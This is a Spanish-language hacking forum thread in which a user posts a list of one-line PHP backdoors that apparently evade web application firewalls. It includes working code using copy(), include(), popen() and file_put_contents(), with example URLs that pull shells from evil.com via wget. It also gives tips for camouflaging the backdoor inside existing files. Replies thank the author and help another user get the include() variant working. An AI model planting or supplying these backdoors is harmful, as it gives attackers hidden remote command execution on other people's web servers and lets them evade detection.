Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[PHP] Lista de backdoors inúsuales [WAF Bypass].

  • 6 Respuestas
  • 4103 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Nobody

  • *
  • Underc0der
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 4
  • Security as art.
    • Ver Perfil
    • Nobody Test Laboratory
  • Twitter: @n0bodysec
« en: Julio 22, 2018, 10:34:35 pm »
¡Hola a todos! ¿Cómo les va?

Estoy al tanto de la creciente necesidad de backdoors fáciles de camuflar y con capacidades para evadir Web Application Firewalls —WAF, de ahora en más—. Por lo cual, mediante esta publicación, les ofrezco una lista de backdoors de tan solo una línea, capaces de evadir WAF.

Advertencia: En esta lista no incluiré funciones obsoletas a partir de PHP 7.2.
Referencia: http://php.net/manual/en/migration72.deprecated.php

1. copy() - Requiere: allow_url_fopen. (nunca antes la vi, se me ocurrió recientemente)
Código: PHP
  1. <?php copy($_GET['s'], $_GET['d']);
Citar
¿CÓMO UTILIZAR?
file.php?s=http://evil.com/shell.txt&d=/var/www/shell.php

2. include() - Requiere: allow_url_fopen.
Código: PHP
  1. <?php include($_GET['x']);
Citar
¿CÓMO UTILIZAR?
file.php?x=http://evil.com/shell.php
Advertencia: Obtuve mejores resultados utilizando un servidor HTTP sin PHP, por ejemplo, en Python.

3. popen() - DETECTADA POR SHELLDETECTOR.
Código: PHP
  1. <?php echo fread(popen($_GET['c'],'r'),1024*4);
Citar
¿CÓMO UTILIZAR?
file.php?c=wget -O shell.php http://evil.com/shell.txt
Advertencia: Aún siendo detectada, es mi favorita y funciona excelente.

4. file_put_contents()
Código: PHP
  1. <?php file_put_contents('_c.php','<?php '.$_GET['c'].' ?>'); include '_c.php'; unlink("_c.php");
Citar
¿CÓMO UTILIZAR?
file.php?c=system('wget -O shell.php http://evil.com/shell.txt');
Advertencia: unlink() es opcional, pues yo lo uso para no dejar un archivo con el código ejecutado.

SUGERENCIAS
Citar
1. Se puede anteponer @ en alguna función, para así evitar imprimir los errores de la misma. Esto es útil a la hora de esconder el backdoor dentro de un archivo.
2. Se puede reemplazar $_GET por $_REQUEST, así aceptando GET, POST y COOKIE como métodos de entrada.
3. Se puede utilizar isset() y __halt_compiler() para obtener una salida más limpia a la hora de esconder el backdoor dentro de un archivo.
Citar
<?php if(isset($_GET['c']))echo fread(popen($_GET['c'],'r'),1024*4); __halt_compiler();
4. El tag de cierre de PHP no es necesario en un archivo que solo contenga código. Así mismo, se puede utilizar short tags, si éstos están habilitados.

Pues nada más... En realidad, es un post sencillito, pero seguramente a alguien le será útil  :)

Salutes,
Nobody.

Desconectado Drok3r

  • *
  • Underc0der
  • Mensajes: 48
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
    • RedBird
  • Twitter: @drok3r
« Respuesta #1 en: Julio 26, 2018, 09:12:50 pm »
Muy interesante...

Me permites compartirlo en mi fan page de facebook?

NOTA: Doy credito

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #2 en: Julio 27, 2018, 01:18:47 pm »
Pentest - Hacking & Security Services

Contact me: [email protected]

Conectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1921
  • Actividad:
    3.33%
  • Reputación 15
    • Ver Perfil
« Respuesta #3 en: Agosto 01, 2018, 05:32:04 am »
Muy buena recopilación @Nobody, muchas gracias, no conocía la de copy



Desconectado Nobody

  • *
  • Underc0der
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 4
  • Security as art.
    • Ver Perfil
    • Nobody Test Laboratory
  • Twitter: @n0bodysec
« Respuesta #4 en: Agosto 01, 2018, 02:57:51 pm »
Gracias @arthusu y @blackdrake.

@Drok3r, si, puedes. No es necesario dar créditos!
Saludos.

Desconectado RandomSoft

  • *
  • Underc0der
  • Mensajes: 129
  • Actividad:
    0%
  • Reputación 0
  • using Underc0de;
    • Ver Perfil
    • Marketing Online | Diseño Web | Hosting Profesional - GlobalPer
    • Email
  • Skype: randomsofthack
« Respuesta #5 en: Marzo 08, 2019, 08:24:39 pm »
Buen dia amigos,

Alguien podría explicarme un poco como funciona el backdoor

Citar
2. include() - Requiere: allow_url_fopen.

estoy intentando ver como funciona tal como esta en el post, pero me queda la pantalla en blanco (no muestra nada), muy agradecido de antemano.

Saludos a todos
El Lenguaje es la Ciudad para cuya Edificación cada Ser Humano ha Aportado una Piedra

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #6 en: Marzo 11, 2019, 12:48:29 am »
Buen dia amigos,

Alguien podría explicarme un poco como funciona el backdoor

Citar
2. include() - Requiere: allow_url_fopen.

estoy intentando ver como funciona tal como esta en el post, pero me queda la pantalla en blanco (no muestra nada), muy agradecido de antemano.

Saludos a todos

necesitas tener activado  allow_url_fopen en el archivo php.ini pones: allow_url_fopen = on, saludos
Pentest - Hacking & Security Services

Contact me: [email protected]

 

¿Te gustó el post? COMPARTILO!